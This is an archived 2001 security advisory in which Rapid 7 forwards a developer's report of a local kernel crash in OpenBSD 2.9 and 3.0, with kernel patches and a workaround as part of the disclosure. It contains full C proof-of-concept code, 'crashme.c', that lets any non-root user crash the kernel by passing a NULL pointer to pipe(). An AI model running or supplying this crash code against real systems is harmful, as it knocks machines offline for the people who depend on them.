OpenBSD local DoS

From: Rapid 7 Security Advisories (advisoryat_private)
Date: Sun Dec 02 2001 - 12:33:09 PST

  • Next message: Pavel Kankovsky: "Re: iXsecurity.tool.smbproxy.1.0.0"

    -----BEGIN PGP SIGNED MESSAGE-----
    
    
    A local denial of service attack against OpenBSD
    was published today (Sunday Dec 02) to the
    techat_private mailing list by Marco Peereboom
    (<marcodslat_private>.
    
    I'm forwarding his message on to the general security
    community.
    
    The effect of the attack is to crash the system.
    The user does not have to be root. OpenBSD 2.9 is
    vulnerable, and apparently 3.0 is also vulnerable.
    
    We were able to reproduce this on our OpenBSD 2.9-STABLE
    systems.
    
    One suggested workaround is to harden your OpenBSD system
    with the "Stephanie" TPE (trusted path execution) kernel
    patch. We were not able to reproduce this exploit against
    our Stephanie-patched OpenBSD systems. More information
    can be found at:
    
    	http://www.packetfactory.net/Projects/Stephanie/
    
    Disclaimer and Copyright
    
        Rapid 7, Inc. is not responsible for the misuse of the information
        provided in our security advisories. These advisories are a service
        to the professional security community.  There are NO WARRANTIES
        with regard to this information. Any application or distribution of
        this information constitutes acceptance AS IS, at the user's own
        risk.  This information is subject to change without notice.
    
        This advisory Copyright (C) 2001 Rapid 7, Inc.  Permission is
        hereby granted to redistribute this advisory in electronic media
        only, providing that no changes are made and that the copyright
        notices and disclaimers remain intact.  This advisory may not be
        printed or distributed in non-electronic media without the
        express written permission of Rapid 7, Inc.
    
    
    The original message to techat_private is included below.
    
    
    
    -----BEGIN PGP SIGNATURE-----
    Version: PGP 7.0.1
    
    iQEVAwUBPAqPWestPa8cHEsJAQGL2wgAjMuENkFSVHJzEu/cKD1uCPsgwrcR3/ZA
    qTuhqjj3NfEbHaUphB11CVhli9zJXxGJDOOhS5rPHXObNS66Lv+T3rcgBXbahSTS
    iljr0gm5N1jSO/HVJft/f8KeaZ0Pa9wnNVcAQP4GURMA/s4mIscr3xaqmb5pOXDW
    exRHJsv78KhyHRe0CbkHFtewitWaRi1fv3pyFj+Jy46Zy04/HIBVoSDqhz3wUY9d
    lUBiJbnnfXSrpKRr7EyX3NNBgY85bqeR9srvfxCOIuFC+zwD05i4SqCgW4H96i+1
    g6Nog1UdJX+77N4WHcHiZH04TBf75U4TxEftjh0dM3pW+gN3RWaWlA==
    =ad32
    -----END PGP SIGNATURE-----
    
    The original message follows:
    
    Date: Sun, 02 Dec 2001 11:22:45 -0600
    From: Marco Peereboom <marcodslat_private>
    Subject: Code that crashes kernel at will + proposed patch
    To: techat_private
    
    Hi,
    
    While I was coding away in userland I ran into a piece of code that will
    crash the kernel regardless of user (root or non-root). I started
    playing around with this and I found out that oBSD 2.9 & oBSD 3.0 are
    both vulnerable (I don't have any earlier boxes but this will likely
    crash them as well). I tried to isolate it and the shortest code I came
    up with that always crashes the kernel is:
    
    [root@corona src]# cat crashme.c
    #include <stdlib.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <sys/wait.h>
    #include <signal.h>
    #include <stdarg.h>
    #include <syslog.h>
    
    /* globals */
    int fd[8]; /* temp pipe file descriptors */
    int fd_real[4]; /* real pipe's */
    
    static int __DEBUG__  = 0;
    static int __SYSLOG__  = 0;
    
    void enable_debug(void)
    {
             __DEBUG__ = 1;
    }
    
    void disable_debug(void)
    {
             __DEBUG__ = 0;
    }
    
    void enable_syslog(void)
    {
             __SYSLOG__ = 1;
    }
    
    void disable_syslog(void)
    {
             __SYSLOG__ = 0;
    }
    
    void s_fprintf(FILE *file, const char *fmt, ...)
    {
             va_list ap;
    
             if (__DEBUG__) {
                     fflush(file);
    
                     va_start(ap, fmt);
                     vfprintf(file, fmt, ap);
                     va_end(ap);
    
                     fflush(file);
             }
    
             if (__SYSLOG__) {
                     va_start(ap, fmt);
                     vsyslog(LOG_INFO, fmt, ap);
                     va_end(ap);
             }
    }
    
    void *s_malloc(size_t size)
    {
             char serr[40]; /* can not allocate more mem so lets use this
    ugly beast */
             void *p;
    
             if (__DEBUG__ || __SYSLOG__) {
                     s_fprintf(stderr, "PID=%-5i PPID=%-5i: malloc(%i)\n",
    getpid(), getppid(), size);
             }
    
             if ((p = malloc(size)) == NULL ) {
                     sprintf(serr,"PID=%i, Could not allocate memory",
    getpid());
                     perror(serr);
                     exit(6);
             }
    
             return p;
    }
    
    void s_perror(const char *str)
    {
             char *buf;
    
             if (__DEBUG__ || __SYSLOG__) {
                     s_fprintf(stderr, "PID=%-5i PPID=%-5i: perror(%s)\n",
    getpid(), getppid(), str);
             }
    
             buf = s_malloc(11 + strlen(str)); /* PID=%-5i = 11 chars */
             sprintf(buf, "PID=%-5i %s", getpid(), str);
             perror(buf);
    
             free(buf);
    }
    
    void s_pipe(int *fd)
    {
             if (__DEBUG__ || __SYSLOG__) {
                     s_fprintf(stderr, "PID=%-5i PPID=%-5i: pipe(%x)\n",
    getpid(), getppid(), (unsigned int)fd);
             }
    
             if (pipe(fd) == -1)
             {
                     s_perror("Could not create pipe");
                     exit(3);
             }
    }
    
    int main(int argc, char **argv)
    {
             enable_debug();
             enable_syslog();
    
             fprintf(stderr, "Before pipe\n");
             s_pipe(NULL); /* test if s_pipe exits */
             fprintf(stderr, "Will never reach this\n");
    
             return 0;
    }
    
    I also tried this:
    [root@corona src]# cat a.c
    int main(int argc, char **argv)
    {
             if (pipe(0) == -1)
             {
                     perror("kloink");
                     exit(1);
             }
             return 0;
    }
    This does however not crash the kernel. That kind of explains why it
    went undetected.
    
    I tried to debug the kernel and I was partially successful at that. I
    definitively need more practice at BSD kernel debugging ;) but I did
    find what was wrong. We were releasing the user mode retval instead of
    the *real* rval kernel mode values. And since retval was pointing at
    NULL bad things happened.
    Anyway here is the patch for 3.0:
    [root@corona kern]# diff -u uipc_syscalls.c.old uipc_syscalls.c
    --- uipc_syscalls.c.old Sun Dec  2 10:48:21 2001
    +++ uipc_syscalls.c     Sun Dec  2 10:48:48 2001
    @@ -903,8 +903,8 @@
             error = copyout((caddr_t)fds, (caddr_t)SCARG(uap, fdp),
                 2 * sizeof (int));
             if (error) {
    -               fdrelease(p, retval[0]);
    -               fdrelease(p, retval[1]);
    +               fdrelease(p, rval[0]);
    +               fdrelease(p, rval[1]);
             }
             return (error);
      }
    
    Here is the patch for 2.9:
    [root@vuurmuur kern]# diff -u uipc_syscalls.c.old uipc_syscalls.c
    --- uipc_syscalls.c.old Sun Dec  2 11:00:51 2001
    +++ uipc_syscalls.c     Sun Dec  2 11:01:17 2001
    @@ -886,8 +886,8 @@
             error = copyout((caddr_t)fds, (caddr_t)SCARG(uap, fdp),
                 2 * sizeof (int));
             if (error) {
    -               fdrelease(p, retval[0]);
    -               fdrelease(p, retval[1]);
    +               fdrelease(p, rval[0]);
    +               fdrelease(p, rval[1]);
             }
             return (error);
      }
    
    [root@corona root]# dmesg
    OpenBSD 3.0-current (GENERIC) #5: Sun Dec  2 11:10:30 CST 2001
         root@corona:/usr/src/sys/arch/i386/compile/GENERIC
    cpu0: Intel Pentium III (Coppermine) ("GenuineIntel" 686-class) 647 MHz
    cpu0:
    FPU,V86,DE,PSE,TSC,MSR,PAE,MCE,CX8,SYS,MTRR,PGE,MCA,CMOV,PAT,PSE36,MMX,F
    XSR,SIMD
    real mem  = 402087936 (392664K)
    avail mem = 366768128 (358172K)
    using 4933 buffers containing 20205568 bytes (19732K) of memory
    mainbus0 (root)
    bios0 at mainbus0: AT/286+(00) BIOS, date 07/26/01, BIOS32 rev. 0 @
    0xffe90
    apm0 at bios0: Power Management spec V1.2
    apm0: battery life expectancy 100%
    apm0: AC on, battery charge high, estimated 5:51 hours
    pcibios0 at bios0: rev. 2.1 @ 0xf0000/0x10000
    pcibios0: PCI IRQ Routing Table rev. 1.0 @ 0xfbd20/128 (6 entries)
    pcibios0: PCI Interrupt Router at 000:07:0 ("Intel 82371 PCI-ISA and
    IDE" rev 0x00)
    pcibios0: PCI bus #3 is the last bus
    bios0: ROM list: 0xc0000/0x10000
    pci0 at mainbus0 bus 0: configuration mode 1 (no bios)
    pchb0 at pci0 dev 0 function 0 "Intel 82443BX PCI-AGP" rev 0x03
    ppb0 at pci0 dev 1 function 0 "Intel 82443BX AGP" rev 0x03
    pci1 at ppb0 bus 1
    vga1 at pci1 dev 0 function 0 "ATI Mobility 1" rev 0x64
    wsdisplay0 at vga1: console (80x25, vt100 emulation)
    wsdisplay0: screen 1-5 added (80x25, vt100 emulation)
    cbb0 at pci0 dev 3 function 0 "Texas Instruments PCI1225 PCI-CardBus"
    rev 0x01: irq 11
    cbb1 at pci0 dev 3 function 1 "Texas Instruments PCI1225 PCI-CardBus"
    rev 0x01: irq 11
    pcib0 at pci0 dev 7 function 0 "Intel 82371AB PIIX4 ISA" rev 0x02
    pciide0 at pci0 dev 7 function 1 "Intel 82371AB IDE" rev 0x01: DMA,
    channel 0 wired to compatibility, channel 1 wired to compatibility
    wd0 at pciide0 channel 0 drive 0: <IC25N030ATDA04-0>
    wd0: 16-sector PIO, LBA, 28615MB, 16383 cyl, 16 head, 63 sec, 58605120
    sectors
    wd0(pciide0:0:0): using PIO mode 4, Ultra-DMA mode 2
    pciide0: channel 1 ignored (disabled)
    uhci0 at pci0 dev 7 function 2 "Intel 82371AB USB" rev 0x01: irq 11
    usb0 at uhci0: USB revision 1.0
    uhub0 at usb0
    uhub0: vendor 0x0000 UHCI root hub, class 9/0, rev 1.00/1.00, addr 1
    uhub0: 2 ports with 2 removable, self powered
    "Intel 82371AB Power Mgmt" rev 0x03 at pci0 dev 7 function 3 not
    configured
    "ESS Maestro 3" rev 0x10 at pci0 dev 8 function 0 not configured
    cardslot0 at cbb0 slot 0 flags 0
    cardbus0 at cardslot0: bus 2 device 0 cacheline 0x8, lattimer 0x20
    pcmcia0 at cardslot0
    cardslot1 at cbb1 slot 1 flags 0
    cardbus1 at cardslot1: bus 3 device 0 cacheline 0x8, lattimer 0x20
    pcmcia1 at cardslot1
    isa0 at pcib0
    isadma0 at isa0
    pckbc0 at isa0 port 0x60/5
    pckbd0 at pckbc0 (kbd slot)
    pckbc0: using irq 1 for kbd slot
    wskbd0 at pckbd0: console keyboard, using wsdisplay0
    pms0 at pckbc0 (aux slot)
    pckbc0: using irq 12 for aux slot
    wsmouse0 at pms0 mux 0
    pcppi0 at isa0 port 0x61
    midi0 at pcppi0: <PC speaker>
    sysbeep0 at pcppi0
    lpt0 at isa0 port 0x378/4 irq 7
    npx0 at isa0 port 0xf0/16: using exception 16
    pccom0 at isa0 port 0x3f8/8 irq 4: ns16550a, 16 byte fifo
    fdc0 at isa0 port 0x3f0/6 irq 6 drq 2
    fd0 at fdc0 drive 0: 1.44MB 80 cyl, 2 head, 18 sec
    biomask 4840 netmask 4840 ttymask 58c2
    pctr: 686-class user-level performance counters enabled
    mtrr: Pentium Pro MTRR support
    dkcsum: wd0 matched BIOS disk 80
    root on wd0a
    rootdev=0x0 rrootdev=0x300 rawdev=0x302
    an0 at pcmcia1 function 0 "Cisco Systems, 340 Series Wireless LAN
    Adapter": address 00:40:96:44:e1:3b
    



    This archive was generated by hypermail 2b30 : Sun Dec 02 2001 - 21:19:29 PST